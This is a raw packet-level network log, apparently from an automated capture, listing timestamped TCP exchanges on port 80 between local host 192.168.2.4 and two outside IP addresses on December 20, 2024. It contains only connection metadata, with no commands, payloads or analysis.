Dec 20, 2024 07:12:47.370009899 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.370060921 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.370105028 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.370132923 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.370177984 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.371030092 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.371062994 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.371120930 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.371155977 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.371185064 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.371191025 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.372097015 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.372129917 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.372184992 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.372219086 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.372252941 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.372281075 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.372286081 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.372399092 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.373095989 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.373241901 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.373275042 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.373308897 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.373327971 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.373331070 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.373475075 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.374110937 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.374243975 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.374279022 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.374293089 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.374313116 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.374342918 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.374378920 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.375144005 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.375258923 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.375310898 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.375309944 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.375360966 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.375390053 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.375423908 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.376141071 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.376261950 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.376315117 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.376349926 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.376378059 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.376379967 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.376478910 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.377154112 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.377284050 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.377337933 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.377374887 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.377408028 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.377438068 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.377588987 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.378181934 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.378288031 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.378336906 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.378412008 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.378446102 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.378478050 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.378531933 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.379268885 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.379395008 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.379451990 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.379492998 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.379527092 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.379558086 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.379595041 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.380225897 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.380358934 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.380409956 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.380469084 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.380501986 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.380532026 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.380563021 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.381242037 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.381350040 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.381398916 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.381479025 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.381536961 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.381601095 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.381666899 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.382292986 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.382421970 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.382479906 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.382554054 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.382646084 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.382652044 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.382714987 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.383302927 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.383420944 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.383517027 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.383557081 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.383608103 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.383637905 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.383703947 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.384341002 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.384412050 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.384473085 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.384562016 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.384660959 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.384691000 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.384826899 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.385318041 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.385447979 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.385499001 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.385617971 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.385687113 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.385720015 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.385792017 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.386343956 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.386702061 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.386790037 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.386873007 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.387726068 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.387806892 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.387851954 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.387921095 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.388784885 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.388851881 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.388917923 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.388984919 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.389777899 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.389899969 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.389960051 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.389960051 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.390839100 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.390889883 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.390922070 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.391211987 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.391875982 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.391978979 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.391993046 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.392064095 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.392899990 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.392966032 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.393013954 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.393083096 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.431585073 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.525408030 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.525547028 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.525599003 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.525852919 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.525904894 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.525952101 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.526727915 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.526766062 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.526812077 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.527693987 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.527889967 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.527951956 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.528731108 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.528798103 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.528848886 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.529706955 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.529824018 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.529887915 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.530745983 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.530831099 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.530930996 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.531374931 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.531481028 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.531516075 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.531600952 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.531754017 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.531806946 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.531900883 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.531933069 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.531990051 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.531996965 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.532094955 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.532784939 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.532838106 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.532977104 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.533013105 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.533046961 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.533078909 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.533435106 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.533793926 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.533911943 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.533965111 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.533993006 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.534028053 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.534060955 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.534111977 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.534815073 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.534953117 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.535002947 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.535005093 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.535039902 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.535070896 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.535095930 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.535924911 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.535960913 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.536014080 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.536031961 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.536108971 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.536159039 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.536236048 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.536820889 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.536972046 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.537024021 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.537070036 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.537137985 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.537189007 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.537252903 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.537894964 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.538019896 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.538157940 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.538193941 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.538223982 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.538225889 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.538264036 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.538894892 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.539025068 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.539082050 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.539128065 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.539242983 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.539273977 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.539359093 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.539926052 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.540127993 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.540242910 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.540272951 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.540277004 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.540941000 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.540970087 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.541033030 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.541229010 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.541266918 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.541330099 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.541539907 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.541964054 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.542079926 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.542251110 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.542258024 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.542376041 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.542408943 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.542960882 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.543081045 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.543112993 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.543306112 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.543366909 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.543370008 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.543428898 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.544018984 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.544131994 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.544162035 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.544342995 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.544399023 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.544400930 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.544462919 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.544785023 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.545016050 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.545137882 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.545193911 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.545370102 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.545423985 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.545433998 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.545483112 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.546035051 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.546161890 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.546360970 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.546458006 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.546591997 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.546623945 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.547000885 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.547058105 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.547180891 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.547243118 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.547465086 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.547584057 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.547616005 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.548086882 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.548199892 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.548232079 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.548494101 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.548546076 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.548547029 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.548624039 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.549086094 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.549118042 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.549197912 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.549535036 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.549539089 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.549623013 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.549654961 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.549814939 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.550129890 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.550240993 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.550580978 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.550591946 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.550643921 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.550652027 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.550878048 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.551134109 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.551276922 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.551395893 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.551603079 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.551723003 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.551757097 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.551803112 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.552174091 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.552278996 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.552649975 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.552680969 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.552726030 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.553184986 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.553216934 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.553282022 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.553538084 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.553661108 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.553795099 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.554173946 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.554213047 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.554317951 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.554372072 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.554713964 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.554775000 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.554840088 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.555062056 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.555206060 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.555346012 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.555705070 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.555752039 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.555815935 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.555900097 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.555952072 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.556230068 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.556350946 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.556797981 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.556910038 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.556958914 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.556961060 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:47.557265043 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.557389975 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:47.557538986 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:47.557830095 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.557955027 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:47.558238983 CET	49867	80	192.168.2.4	31.41.244.11
